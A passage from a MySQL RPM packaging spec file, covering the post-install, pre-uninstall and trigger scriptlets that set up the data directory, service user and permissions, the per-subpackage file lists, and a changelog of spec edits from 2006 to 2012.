# Create data directory if needed, check whether upgrade or install
# ----------------------------------------------------------------------
if [ ! -d $mysql_datadir ] ; then mkdir -m 755 $mysql_datadir; fi
if [ -f $STATUS_FILE ] ; then
SERVER_TO_START=`grep '^SERVER_TO_START=' $STATUS_FILE | cut -c17-`
else
SERVER_TO_START=''
fi
# echo "Analyzed: SERVER_TO_START=$SERVER_TO_START"
if [ ! -d $mysql_datadir/mysql ] ; then
mkdir $mysql_datadir/mysql $mysql_datadir/test
echo "MySQL RPM installation of version $NEW_VERSION" >> $STATUS_FILE
else
# If the directory exists, we may assume it is an upgrade.
echo "MySQL RPM upgrade to version $NEW_VERSION" >> $STATUS_FILE
fi
# ----------------------------------------------------------------------
# Make MySQL start/shutdown automatically when the machine does it.
# ----------------------------------------------------------------------
# NOTE: This still needs to be debated. Should we check whether these links
# for the other run levels exist(ed) before the upgrade?
# use chkconfig on Enterprise Linux and newer SuSE releases
if [ -x /sbin/chkconfig ] ; then
/sbin/chkconfig --add mysql
# use insserv for older SuSE Linux versions
elif [ -x /sbin/insserv ] ; then
/sbin/insserv %{_sysconfdir}/init.d/mysql
fi
# ----------------------------------------------------------------------
# Create a MySQL user and group. Do not report any problems if it already
# exists.
# ----------------------------------------------------------------------
groupadd -r %{mysqld_group} 2> /dev/null || true
useradd -M -r -d $mysql_datadir -s /bin/bash -c "MySQL server" \
-g %{mysqld_group} %{mysqld_user} 2> /dev/null || true
# The user may already exist, make sure it has the proper group nevertheless
# (BUG#12823)
usermod -g %{mysqld_group} %{mysqld_user} 2> /dev/null || true
# ----------------------------------------------------------------------
# Change permissions so that the user that will run the MySQL daemon
# owns all database files.
# ----------------------------------------------------------------------
chown -R %{mysqld_user}:%{mysqld_group} $mysql_datadir
# ----------------------------------------------------------------------
# Initiate databases if needed
# ----------------------------------------------------------------------
if ! grep '^MySQL RPM upgrade' $STATUS_FILE >/dev/null 2>&1 ; then
# Fix bug#45415: no "mysql_install_db" on an upgrade
# Do this as a negative to err towards more "install" runs
# rather than to miss one.
%{_bindir}/mysql_install_db --rpm --user=%{mysqld_user} --random-passwords
# Attention: Now 'root' is the only database user,
# its password is a random value found in ~/.mysql_secret,
# and the "password expired" flag is set:
# Any client needs that password, and the first command
# executed must be a new "set password"!
fi
# ----------------------------------------------------------------------
# Upgrade databases if needed would go here - but it cannot be automated yet
# ----------------------------------------------------------------------
# ----------------------------------------------------------------------
# Change permissions again to fix any new files.
# ----------------------------------------------------------------------
chown -R %{mysqld_user}:%{mysqld_group} $mysql_datadir
# ----------------------------------------------------------------------
# Fix permissions for the permission database so that only the user
# can read them.
# ----------------------------------------------------------------------
chmod -R og-rw $mysql_datadir/mysql
# ----------------------------------------------------------------------
# install SELinux files - but don't override existing ones
# ----------------------------------------------------------------------
SETARGETDIR=/etc/selinux/targeted/src/policy
SEDOMPROG=$SETARGETDIR/domains/program
SECONPROG=$SETARGETDIR/file_contexts/program
if [ -f /etc/redhat-release ] \
&& (grep -q "Red Hat Enterprise Linux .. release 4" /etc/redhat-release \
|| grep -q "CentOS release 4" /etc/redhat-release) ; then
echo
echo
echo 'Notes regarding SELinux on this platform:'
echo '========================================='
echo
echo 'The default policy might cause server startup to fail because it is'
echo 'not allowed to access critical files. In this case, please update'
echo 'your installation.'
echo
echo 'The default policy might also cause inavailability of SSL related'
echo 'features because the server is not allowed to access /dev/random'
echo 'and /dev/urandom. If this is a problem, please do the following:'
echo
echo ' 1) install selinux-policy-targeted-sources from your OS vendor'
echo ' 2) add the following two lines to '$SEDOMPROG/mysqld.te':'
echo ' allow mysqld_t random_device_t:chr_file read;'
echo ' allow mysqld_t urandom_device_t:chr_file read;'
echo ' 3) cd to '$SETARGETDIR' and issue the following command:'
echo ' make load'
echo
echo
fi
if [ -x sbin/restorecon ] ; then
sbin/restorecon -R var/lib/mysql
fi
# Was the server running before the upgrade? If so, restart the new one.
if [ "$SERVER_TO_START" = "true" ] ; then
# Restart in the same way that mysqld will be started normally.
if [ -x %{_sysconfdir}/init.d/mysql ] ; then
%{_sysconfdir}/init.d/mysql start
echo "Giving mysqld 5 seconds to start"
sleep 5
fi
fi
# Collect an upgrade history ...
echo "Upgrade/install finished at `date`" >> $STATUS_FILE
echo >> $STATUS_FILE
echo "=====" >> $STATUS_FILE
STATUS_HISTORY=$mysql_datadir/RPM_UPGRADE_HISTORY
cat $STATUS_FILE >> $STATUS_HISTORY
mv -f $STATUS_FILE ${STATUS_FILE}-LAST # for "triggerpostun"
#echo "Thank you for installing the MySQL Community Server! For Production
#systems, we recommend MySQL Enterprise, which contains enterprise-ready
#software, intelligent advisory services, and full production support with
#scheduled service packs and more. Visit www.mysql.com/enterprise for more
#information."
%preun -n MySQL-server%{product_suffix}
# Which '$1' does this refer to? Fedora docs have info:
# " ... a count of the number of versions of the package that are installed.
# Action Count
# Install the first time 1
# Upgrade 2 or higher (depending on the number of versions installed)
# Remove last version of package 0 "
#
# http://docs.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html/RPM_Guide/ch09s04s05.html
if [ $1 = 0 ] ; then
# Stop MySQL before uninstalling it
if [ -x %{_sysconfdir}/init.d/mysql ] ; then
%{_sysconfdir}/init.d/mysql stop > /dev/null
# Remove autostart of MySQL
# use chkconfig on Enterprise Linux and newer SuSE releases
if [ -x /sbin/chkconfig ] ; then
/sbin/chkconfig --del mysql
# For older SuSE Linux versions
elif [ -x /sbin/insserv ] ; then
/sbin/insserv -r %{_sysconfdir}/init.d/mysql
fi
fi
fi
# We do not remove the mysql user since it may still own a lot of
# database files.
%triggerpostun -n MySQL-server%{product_suffix} --MySQL-server-community
# Setup: We renamed this package, so any existing "server-community"
# package will be removed when this "server" is installed.
# Problem: RPM will first run the "pre" and "post" sections of this script,
# and only then the "preun" of that old community server.
# But this "preun" includes stopping the server and uninstalling the service,
# "chkconfig --del mysql" which removes the symlinks to the start script.
# Solution: *After* the community server got removed, restart this server
# and re-install the service.
#
# For information about triggers in spec files, see the Fedora docs:
# http://docs.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html/RPM_Guide/ch10s02.html
# For all details of this code, see the "pre" and "post" sections.
# There are users who deviate from the default file system layout.
# Check local settings to support them.
if [ -x %{_bindir}/my_print_defaults ]
then
mysql_datadir=`%{_bindir}/my_print_defaults server mysqld | grep '^--datadir=' | sed -n 's/--datadir=//p'`
fi
if [ -z "$mysql_datadir" ]
then
mysql_datadir=%{mysqldatadir}
fi
NEW_VERSION=%{mysql_version}-%{release}
STATUS_FILE=$mysql_datadir/RPM_UPGRADE_MARKER-LAST # Note the difference!
STATUS_HISTORY=$mysql_datadir/RPM_UPGRADE_HISTORY
if [ -f $STATUS_FILE ] ; then
SERVER_TO_START=`grep '^SERVER_TO_START=' $STATUS_FILE | cut -c17-`
else
# This should never happen, but let's be prepared
SERVER_TO_START=''
fi
echo "Analyzed: SERVER_TO_START=$SERVER_TO_START"
if [ -x /sbin/chkconfig ] ; then
/sbin/chkconfig --add mysql
# use insserv for older SuSE Linux versions
elif [ -x /sbin/insserv ] ; then
/sbin/insserv %{_sysconfdir}/init.d/mysql
fi
# Was the server running before the upgrade? If so, restart the new one.
if [ "$SERVER_TO_START" = "true" ] ; then
# Restart in the same way that mysqld will be started normally.
if [ -x %{_sysconfdir}/init.d/mysql ] ; then
%{_sysconfdir}/init.d/mysql start
echo "Giving mysqld 5 seconds to start"
sleep 5
fi
fi
echo "Trigger 'postun --community' finished at `date`" >> $STATUS_HISTORY
echo >> $STATUS_HISTORY
echo "=====" >> $STATUS_HISTORY
# ----------------------------------------------------------------------
# Clean up the BuildRoot after build is done
# ----------------------------------------------------------------------
%clean
[ "$RPM_BUILD_ROOT" != "/" ] && [ -d $RPM_BUILD_ROOT ] \
&& rm -rf $RPM_BUILD_ROOT;
##############################################################################
# Files section
##############################################################################
%files -n MySQL-server%{product_suffix} -f release/support-files/plugins.files
%defattr(-,root,root,0755)
%if %{defined license_files_server}
%doc %{license_files_server}
%endif
%doc %{src_dir}/Docs/ChangeLog
%doc %{src_dir}/Docs/INFO_SRC*
%doc release/Docs/INFO_BIN*
%doc release/support-files/my-default.cnf
%doc %attr(644, root, root) %{_infodir}/mysql.info*
%doc %attr(644, root, man) %{_mandir}/man1/innochecksum.1*
%doc %attr(644, root, man) %{_mandir}/man1/my_print_defaults.1*
%doc %attr(644, root, man) %{_mandir}/man1/myisam_ftdump.1*
%doc %attr(644, root, man) %{_mandir}/man1/myisamchk.1*
%doc %attr(644, root, man) %{_mandir}/man1/myisamlog.1*
%doc %attr(644, root, man) %{_mandir}/man1/myisampack.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_convert_table_format.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_fix_extensions.1*
%doc %attr(644, root, man) %{_mandir}/man8/mysqld.8*
%doc %attr(644, root, man) %{_mandir}/man1/mysqld_multi.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqld_safe.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqldumpslow.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_install_db.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_plugin.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_secure_installation.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_setpermission.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_upgrade.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlhotcopy.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlman.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql.server.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqltest.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_tzinfo_to_sql.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_zap.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlbug.1*
%doc %attr(644, root, man) %{_mandir}/man1/perror.1*
%doc %attr(644, root, man) %{_mandir}/man1/replace.1*
%doc %attr(644, root, man) %{_mandir}/man1/resolve_stack_dump.1*
%doc %attr(644, root, man) %{_mandir}/man1/resolveip.1*
%ghost %config(noreplace,missingok) %{_sysconfdir}/my.cnf
%attr(755, root, root) %{_bindir}/innochecksum
%attr(755, root, root) %{_bindir}/my_print_defaults
%attr(755, root, root) %{_bindir}/myisam_ftdump
%attr(755, root, root) %{_bindir}/myisamchk
%attr(755, root, root) %{_bindir}/myisamlog
%attr(755, root, root) %{_bindir}/myisampack
%attr(755, root, root) %{_bindir}/mysql_convert_table_format
%attr(755, root, root) %{_bindir}/mysql_fix_extensions
%attr(755, root, root) %{_bindir}/mysql_install_db
%attr(755, root, root) %{_bindir}/mysql_plugin
%attr(755, root, root) %{_bindir}/mysql_secure_installation
%attr(755, root, root) %{_bindir}/mysql_setpermission
%attr(755, root, root) %{_bindir}/mysql_tzinfo_to_sql
%attr(755, root, root) %{_bindir}/mysql_upgrade
%attr(755, root, root) %{_bindir}/mysql_zap
%attr(755, root, root) %{_bindir}/mysqlbug
%attr(755, root, root) %{_bindir}/mysqld_multi
%attr(755, root, root) %{_bindir}/mysqld_safe
%attr(755, root, root) %{_bindir}/mysqldumpslow
%attr(755, root, root) %{_bindir}/mysqlhotcopy
%attr(755, root, root) %{_bindir}/mysqltest
%attr(755, root, root) %{_bindir}/perror
%attr(755, root, root) %{_bindir}/replace
%attr(755, root, root) %{_bindir}/resolve_stack_dump
%attr(755, root, root) %{_bindir}/resolveip
%attr(755, root, root) %{_sbindir}/mysqld
%attr(755, root, root) %{_sbindir}/mysqld-debug
%attr(755, root, root) %{_sbindir}/rcmysql
%attr(755, root, root) %{_libdir}/mysql/plugin/daemon_example.ini
%if %{WITH_TCMALLOC}
%attr(755, root, root) %{_libdir}/mysql/%{malloc_lib_target}
%endif
%attr(644, root, root) %config(noreplace,missingok) %{_sysconfdir}/logrotate.d/mysql
%attr(755, root, root) %{_sysconfdir}/init.d/mysql
%attr(755, root, root) %{_datadir}/mysql/
# ----------------------------------------------------------------------------
%files -n MySQL-client%{product_suffix}
%defattr(-, root, root, 0755)
%attr(755, root, root) %{_bindir}/msql2mysql
%attr(755, root, root) %{_bindir}/mysql
%attr(755, root, root) %{_bindir}/mysql_find_rows
%attr(755, root, root) %{_bindir}/mysql_waitpid
%attr(755, root, root) %{_bindir}/mysqlaccess
# XXX: This should be moved to %{_sysconfdir}
%attr(644, root, root) %{_bindir}/mysqlaccess.conf
%attr(755, root, root) %{_bindir}/mysqladmin
%attr(755, root, root) %{_bindir}/mysqlbinlog
%attr(755, root, root) %{_bindir}/mysqlcheck
%attr(755, root, root) %{_bindir}/mysqldump
%attr(755, root, root) %{_bindir}/mysqlimport
%attr(755, root, root) %{_bindir}/mysqlshow
%attr(755, root, root) %{_bindir}/mysqlslap
%attr(755, root, root) %{_bindir}/mysql_config_editor
%doc %attr(644, root, man) %{_mandir}/man1/msql2mysql.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_find_rows.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_waitpid.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlaccess.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqladmin.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlbinlog.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlcheck.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqldump.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlimport.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlshow.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqlslap.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_config_editor.1*
# ----------------------------------------------------------------------------
%files -n MySQL-devel%{product_suffix} -f optional-files-devel
%defattr(-, root, root, 0755)
%doc %attr(644, root, man) %{_mandir}/man1/comp_err.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_config.1*
%attr(755, root, root) %{_bindir}/mysql_config
%dir %attr(755, root, root) %{_includedir}/mysql
%dir %attr(755, root, root) %{_libdir}/mysql
%{_includedir}/mysql/*
%{_datadir}/aclocal/mysql.m4
%{_libdir}/mysql/libmysqlclient.a
%{_libdir}/mysql/libmysqlclient_r.a
%{_libdir}/mysql/libmysqlservices.a
# ----------------------------------------------------------------------------
%files -n MySQL-shared%{product_suffix}
%defattr(-, root, root, 0755)
# Shared libraries (omit for architectures that don't support them)
%{_libdir}/libmysql*.so*
%post -n MySQL-shared%{product_suffix}
/sbin/ldconfig
%postun -n MySQL-shared%{product_suffix}
/sbin/ldconfig
# ----------------------------------------------------------------------------
%files -n MySQL-test%{product_suffix}
%defattr(-, root, root, 0755)
%attr(-, root, root) %{_datadir}/mysql-test
%attr(755, root, root) %{_bindir}/mysql_client_test
%attr(755, root, root) %{_bindir}/mysql_client_test_embedded
%attr(755, root, root) %{_bindir}/mysqltest_embedded
%doc %attr(644, root, man) %{_mandir}/man1/mysql_client_test.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql-stress-test.pl.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql-test-run.pl.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysql_client_test_embedded.1*
%doc %attr(644, root, man) %{_mandir}/man1/mysqltest_embedded.1*
# ----------------------------------------------------------------------------
%files -n MySQL-embedded%{product_suffix}
%defattr(-, root, root, 0755)
%attr(755, root, root) %{_bindir}/mysql_embedded
%attr(644, root, root) %{_libdir}/mysql/libmysqld.a
%attr(644, root, root) %{_libdir}/mysql/libmysqld-debug.a
##############################################################################
# The spec file changelog only includes changes made to the spec file
# itself - note that they must be ordered by date (important when
# merging BK trees)
##############################################################################
%changelog
* Mon Nov 05 2012 Joerg Bruehe <joerg.bruehe@oracle.com>
- Allow to override the default to use the bundled yaSSL by an option like
--define="with_ssl /path/to/ssl"
* Wed Oct 10 2012 Bjorn Munch <bjorn.munch@oracle.com>
- Replace old my-*.cnf config file examples with template my-default.cnf
* Fri Oct 05 2012 Joerg Bruehe <joerg.bruehe@oracle.com>
- Let the installation use the new option "--random-passwords" of "mysql_install_db".
(Bug# 12794345 Ensure root password)
- Fix an inconsistency: "new install" vs "upgrade" are told from the (non)existence
of "$mysql_datadir/mysql" (holding table "mysql.user" and other system stuff).
* Tue Jul 24 2012 Joerg Bruehe <joerg.bruehe@oracle.com>
- Add a macro "runselftest":
if set to 1 (default), the test suite will be run during the RPM build;
this can be oveeridden via the command line by adding
--define "runselftest 0"
Failures of the test suite will NOT make the RPM build fail!
* Mon Jul 16 2012 Joerg Bruehe <joerg.bruehe@oracle.com>
- Add the man page for the "mysql_config_editor".
* Mon Jun 11 2012 Joerg Bruehe <joerg.bruehe@oracle.com>
- Make sure newly added "SPECIFIC-ULN/" directory does not disturb packaging.
* Wed Feb 29 2012 Brajmohan Saxena <brajmohan.saxena@oracle.com>
- Removal all traces of the readline library from mysql (BUG 13738013)
* Wed Sep 28 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- Fix duplicate mentioning of "mysql_plugin" and its manual page,
it is better to keep alphabetic order in the files list (merging!).
* Wed Sep 14 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- Let the RPM capabilities ("obsoletes" etc) ensure that an upgrade may replace
the RPMs of any configuration (of the current or the preceding release series)
by the new ones. This is done by not using the implicitly generated capabilities
(which include the configuration name) and relying on more generic ones which
just list the function ("server", "client", ...).
The implicit generation cannot be prevented, so all these capabilities must be
explicitly listed in "Obsoletes:"
* Tue Sep 13 2011 Jonathan Perkin <jonathan.perkin@oracle.com>
- Add support for Oracle Linux 6 and Red Hat Enterprise Linux 6. Due to
changes in RPM behaviour ($RPM_BUILD_ROOT is removed prior to install)
this necessitated a move of the libmygcc.a installation to the install
phase, which is probably where it belonged in the first place.
* Tue Sep 13 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- "make_win_bin_dist" and its manual are dropped, cmake does it different.
* Thu Sep 08 2011 Daniel Fischer <daniel.fischer@oracle.com>
- Add mysql_plugin man page.
* Tue Aug 30 2011 Tor Didriksen <tor.didriksen@oracle.com>
- Set CXX=g++ by default to add a dependency on libgcc/libstdc++.
Also, remove the use of the -fno-exceptions and -fno-rtti flags.
TODO: update distro_buildreq/distro_requires
* Tue Aug 30 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- Add the manual page for "mysql_plugin" to the server package.
* Fri Aug 19 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- Null-upmerge the fix of bug#37165: This spec file is not affected.
- Replace "/var/lib/mysql" by the spec file variable "%{mysqldatadir}".
* Fri Aug 12 2011 Daniel Fischer <daniel.fischer@oracle.com>
- Source plugin library files list from cmake-generated file.
* Mon Jul 25 2011 Chuck Bell <chuck.bell@oracle.com>
- Added the mysql_plugin client - enables or disables plugins.
* Thu Jul 21 2011 Sunanda Menon <sunanda.menon@oracle.com>
- Fix bug#12561297: Added the MySQL embedded binary
* Thu Jul 07 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- Fix bug#45415: "rpm upgrade recreates test database"
Let the creation of the "test" database happen only during a new installation,
not in an RPM upgrade.
This affects both the "mkdir" and the call of "mysql_install_db".
* Thu Feb 09 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- Fix bug#56581: If an installation deviates from the default file locations
("datadir" and "pid-file"), the mechanism to detect a running server (on upgrade)
should still work, and use these locations.
The problem was that the fix for bug#27072 did not check for local settings.
* Mon Jan 31 2011 Joerg Bruehe <joerg.bruehe@oracle.com>
- Install the new "manifest" files: "INFO_SRC" and "INFO_BIN".
* Tue Nov 23 2010 Jonathan Perkin <jonathan.perkin@oracle.com>
- EXCEPTIONS-CLIENT has been deleted, remove it from here too
- Support MYSQL_BUILD_MAKE_JFLAG environment variable for passing
a '-j' argument to make.
* Mon Nov 1 2010 Georgi Kodinov <georgi.godinov@oracle.com>
- Added test authentication (WL#1054) plugin binaries
* Wed Oct 6 2010 Georgi Kodinov <georgi.godinov@oracle.com>
- Added example external authentication (WL#1054) plugin binaries
* Wed Aug 11 2010 Joerg Bruehe <joerg.bruehe@oracle.com>
- With a recent spec file cleanup, names have changed: A "-community" part was dropped.
Reflect that in the "Obsoletes" specifications.
- Add a "triggerpostun" to handle the uninstall of the "-community" server RPM.
- This fixes bug#55015 "MySQL server is not restarted properly after RPM upgrade".
* Tue Jun 15 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- Change the behaviour on installation and upgrade:
On installation, do not autostart the server.
*Iff* the server was stopped before the upgrade is started, this is taken as a
sign the administrator is handling that manually, and so the new server will
not be started automatically at the end of the upgrade.
The start/stop scripts will still be installed, so the server will be started
on the next machine boot.
This is the 5.5 version of fixing bug#27072 (RPM autostarting the server).
* Tue Jun 1 2010 Jonathan Perkin <jonathan.perkin@oracle.com>
- Implement SELinux checks from distribution-specific spec file.
* Wed May 12 2010 Jonathan Perkin <jonathan.perkin@oracle.com>
- Large number of changes to build using CMake
- Introduce distribution-specific RPMs
- Drop debuginfo, build all binaries with debug/symbols
- Remove __os_install_post, use native macro
- Remove _unpackaged_files_terminate_build, make it an error to have
unpackaged files
- Remove cluster RPMs
* Wed Mar 24 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- Add "--with-perfschema" to the configure options.
* Mon Mar 22 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- User "usr/lib*" to allow for both "usr/lib" and "usr/lib64",
mask "rmdir" return code 1.
- Remove "ha_example.*" files from the list, they aren't built.
* Wed Mar 17 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- Fix a wrong path name in handling the debug plugins.
* Wed Mar 10 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- Take the result of the debug plugin build and put it into the optimized tree,
so that it becomes part of the final installation;
include the files in the packlist. Part of the fixes for bug#49022.
* Mon Mar 01 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- Set "Oracle and/or its affiliates" as the vendor and copyright owner,
accept upgrading from packages showing MySQL or Sun as vendor.
* Fri Feb 12 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- Formatting changes:
Have a consistent structure of separator lines and of indentation
(8 leading blanks => tab).
- Introduce the variable "src_dir".
- Give the environment variables "MYSQL_BUILD_CC(CXX)" precedence
over "CC" ("CXX").
- Drop the old "with_static" argument analysis, this is not supported
in 5.1 since ages.
- Introduce variables to control the handlers individually, as well
as other options.
- Use the new "--with-plugin" notation for the table handlers.
- Drop handling "/etc/rc.d/init.d/mysql", the switch to "/etc/init.d/mysql"
was done back in 2002 already.
- Make "--with-zlib-dir=bundled" the default, add an option to disable it.
- Add missing manual pages to the file list.
- Improve the runtime check for "libgcc.a", protect it against being tried
with the Intel compiler "icc".
* Mon Jan 11 2010 Joerg Bruehe <joerg.bruehe@sun.com>
- Change RPM file naming:
- Suffix like "-m2", "-rc" becomes part of version as "_m2", "_rc".
- Release counts from 1, not 0.
* Wed Dec 23 2009 Joerg Bruehe <joerg.bruehe@sun.com>
- The "semisync" plugin file name has lost its introductory "lib",
adapt the file lists for the subpackages.
This is a part missing from the fix for bug#48351.
- Remove the "fix_privilege_tables" manual, it does not exist in 5.5
(and likely, the whole script will go, too).
* Mon Nov 16 2009 Joerg Bruehe <joerg.bruehe@sun.com>
- Fix some problems with the directives around "tcmalloc" (experimental),
remove erroneous traces of the InnoDB plugin (that is 5.1 only).
* Fri Oct 06 2009 Magnus Blaudd <mvensson@mysql.com>
- Removed mysql_fix_privilege_tables
* Fri Oct 02 2009 Alexander Nozdrin <alexander.nozdrin@sun.com>
- "mysqlmanager" got removed from version 5.4, all references deleted.
* Fri Aug 28 2009 Joerg Bruehe <joerg.bruehe@sun.com>
- Merge up from 5.1 to 5.4: Remove handling for the InnoDB plugin.
* Thu Aug 27 2009 Joerg Bruehe <joerg.bruehe@sun.com>
- This version does not contain the "Instance manager", "mysqlmanager":
Remove it from the spec file so that packaging succeeds.
* Mon Aug 24 2009 Jonathan Perkin <jperkin@sun.com>
- Add conditionals for bundled zlib and innodb plugin
* Fri Aug 21 2009 Jonathan Perkin <jperkin@sun.com>
- Install plugin libraries in appropriate packages.
- Disable libdaemon_example and ftexample plugins.
* Thu Aug 20 2009 Jonathan Perkin <jperkin@sun.com>
- Update variable used for mysql-test suite location to match source.
* Fri Nov 07 2008 Joerg Bruehe <joerg@mysql.com>
- Correct yesterday's fix, so that it also works for the last flag,
and fix a wrong quoting: un-quoted quote marks must not be escaped.
* Thu Nov 06 2008 Kent Boortz <kent.boortz@sun.com>
- Removed "mysql_upgrade_shell"
- Removed some copy/paste between debug and normal build
* Thu Nov 06 2008 Joerg Bruehe <joerg@mysql.com>
- Modify CFLAGS and CXXFLAGS such that a debug build is not optimized.
This should cover both gcc and icc flags. Fixes bug#40546.
* Fri Aug 29 2008 Kent Boortz <kent@mysql.com>
- Removed the "Federated" storage engine option, and enabled in all
* Tue Aug 26 2008 Joerg Bruehe <joerg@mysql.com>
- Get rid of the "warning: Installed (but unpackaged) file(s) found:"
Some generated files aren't needed in RPMs:
- the "sql-bench/" subdirectory
Some files were missing:
- /usr/share/aclocal/mysql.m4 ("devel" subpackage)
- Manual "mysqlbug" ("server" subpackage)
- Program "innochecksum" and its manual ("server" subpackage)
- Manual "mysql_find_rows" ("client" subpackage)
- Script "mysql_upgrade_shell" ("client" subpackage)
- Program "ndb_cpcd" and its manual ("ndb-extra" subpackage)
- Manuals "ndb_mgm" + "ndb_restore" ("ndb-tools" subpackage)
* Mon Mar 31 2008 Kent Boortz <kent@mysql.com>
- Made the "Federated" storage engine an option
- Made the "Cluster" storage engine and sub packages an option
* Wed Mar 19 2008 Joerg Bruehe <joerg@mysql.com>
- Add the man pages for "ndbd" and "ndb_mgmd".
* Mon Feb 18 2008 Timothy Smith <tim@mysql.com>
- Require a manual upgrade if the alread-installed mysql-server is
from another vendor, or is of a different major version.
* Wed May 02 2007 Joerg Bruehe <joerg@mysql.com>
- "ndb_size.tmpl" is not needed any more,
"man1/mysql_install_db.1" lacked the trailing '*'.
* Sat Apr 07 2007 Kent Boortz <kent@mysql.com>
- Removed man page for "mysql_create_system_tables"
* Wed Mar 21 2007 Daniel Fischer <df@mysql.com>
- Add debug server.
* Mon Mar 19 2007 Daniel Fischer <df@mysql.com>
- Remove Max RPMs; the server RPMs contain a mysqld compiled with all
features that previously only were built into Max.
* Fri Mar 02 2007 Joerg Bruehe <joerg@mysql.com>
- Add several man pages for NDB which are now created.
* Fri Jan 05 2007 Kent Boortz <kent@mysql.com>
- Put back "libmygcc.a", found no real reason it was removed.
- Add CFLAGS to gcc call with --print-libgcc-file, to make sure the
correct "libgcc.a" path is returned for the 32/64 bit architecture.
* Mon Dec 18 2006 Joerg Bruehe <joerg@mysql.com>
- Fix the move of "mysqlmanager" to section 8: Directory name was wrong.
* Thu Dec 14 2006 Joerg Bruehe <joerg@mysql.com>
- Include the new man pages for "my_print_defaults" and "mysql_tzinfo_to_sql"
in the server RPM.
- The "mysqlmanager" man page got moved from section 1 to 8.
* Thu Nov 30 2006 Joerg Bruehe <joerg@mysql.com>
- Call "make install" using "benchdir_root=%{_datadir}",
because that is affecting the regression test suite as well.
* Thu Nov 16 2006 Joerg Bruehe <joerg@mysql.com>
- Explicitly note that the "MySQL-shared" RPMs (as built by MySQL AB)
replace "mysql-shared" (as distributed by SuSE) to allow easy upgrading
(bug#22081).
* Mon Nov 13 2006 Joerg Bruehe <joerg@mysql.com>
- Add "--with-partition" to all server builds.
- Use "--report-features" in one test run per server build.
* Tue Aug 15 2006 Joerg Bruehe <joerg@mysql.com>
- The "max" server is removed from packages, effective from 5.1.12-beta.
Delete all steps to build, package, or install it.
* Mon Jul 10 2006 Joerg Bruehe <joerg@mysql.com>
- Fix a typing error in the "make" target for the Perl script to run the tests.
* Tue Jul 04 2006 Joerg Bruehe <joerg@mysql.com>
- Use the Perl script to run the tests, because it will automatically check
whether the server is configured with SSL.
* Tue Jun 27 2006 Joerg Bruehe <joerg@mysql.com>
- move "mysqldumpslow" from the client RPM to the server RPM (bug#20216)
- Revert all previous attempts to call "mysql_upgrade" during RPM upgrade,
there are some more aspects which need to be solved before this is possible.
For now, just ensure the binary "mysql_upgrade" is delivered and installed.
* Thu Jun 22 2006 Joerg Bruehe <joerg@mysql.com>
- Close a gap of the previous version by explicitly using
a newly created temporary directory for the socket to be used
in the "mysql_upgrade" operation, overriding any local setting.
* Tue Jun 20 2006 Joerg Bruehe <joerg@mysql.com>
- To run "mysql_upgrade", we need a running server;
start it in isolation and skip password checks.
* Sat May 20 2006 Kent Boortz <kent@mysql.com>
- Always compile for PIC, position independent code.
* Wed May 10 2006 Kent Boortz <kent@mysql.com>
- Use character set "all" when compiling with Cluster, to make Cluster
nodes independent on the character set directory, and the problem
that two RPM sub packages both wants to install this directory.
* Mon May 01 2006 Kent Boortz <kent@mysql.com>
- Use "./libtool --mode=execute" instead of searching for the
executable in current directory and ".libs".
* Fri Apr 28 2006 Kent Boortz <kent@mysql.com>
- Install and run "mysql_upgrade"
* Wed Apr 12 2006 Jim Winstead <jimw@mysql.com>
- Remove sql-bench, and MySQL-bench RPM (will be built as an independent
project from the mysql-bench repository)
* Tue Apr 11 2006 Jim Winstead <jimw@mysql.com>
- Remove old mysqltestmanager and related programs
* Sat Apr 01 2006 Kent Boortz <kent@mysql.com>
- Set $LDFLAGS from $MYSQL_BUILD_LDFLAGS
* Wed Mar 07 2006 Kent Boortz <kent@mysql.com>
- Changed product name from "Community Edition" to "Community Server"
* Mon Mar 06 2006 Kent Boortz <kent@mysql.com>
- Fast mutexes is now disabled by default, but should be
used in Linux builds.
* Mon Feb 20 2006 Kent Boortz <kent@mysql.com>
- Reintroduced a max build
- Limited testing of 'debug' and 'max' servers
